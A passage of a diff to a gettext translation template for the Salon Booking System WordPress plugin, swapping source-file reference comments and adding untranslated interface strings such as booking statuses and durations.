..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:263\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:423\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:374\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:310\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:335\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:360\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:216\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:266\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:568\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:747\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1003\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1023\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:250\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:263\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:423\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:374\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:310\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:335\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:360\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:216\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:266\n+msgid \").\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_current_score.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_current_score.php:24\n+msgid \"\"\n+\"*Your personal current score is calculated considering all your past \"\n+\"reservations with us.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:25, views\u002Fadmin\u002Fcalendar.php:601, views\u002Fadmin\u002F_booking_status_summary.php:29, src\u002FSLN\u002FEnum\u002FBookingStatus.php:103, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:601, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:103, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:601, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:601, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:601, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:601, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:103\n-msgid \"Pending\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsalon.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:369\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:407\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:289\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsalon.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:369\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:407\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:289\n+msgid \"-\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:26, src\u002FSLN\u002FEnum\u002FBookingStatus.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:104\n-msgid \"Paid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fstatus_canceled.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fsummary_modified.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fsummary.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fpending.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fstatus_canceled.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fsummary_modified.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fsummary.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:27\n+msgid \"...more details in the email confirmation\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:27, views\u002Fsettings\u002Ftab_payments_pro.php:10, views\u002Fsettings\u002Ftab_payments_pro.php:122, views\u002Fshortcode\u002F_form_actions.php:125, src\u002FSLN\u002FEnum\u002FBookingStatus.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_form_actions.php:125, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_form_actions.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_form_actions.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_form_actions.php:125, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:105\n-msgid \"Pay later\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:522\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:538\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:522\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:538\n+msgid \"\u002Fyear\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:28\n-msgid \"Error\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:786\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:786\n+msgid \"1 day\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:29, src\u002FSLN\u002FEnum\u002FBookingStatus.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:106\n-msgid \"Canceled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:45\n+msgid \"1 week\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:30, src\u002FSLN\u002FEnum\u002FBookingStatus.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:101\n-msgid \"Confirmed\"\n+#. %s will be replaced by the version to rollback\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_rollback.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:25\n+#, php-format\n+msgid \"1. Rollback your database to the %s version \"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:31\n-msgid \"Upcoming reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 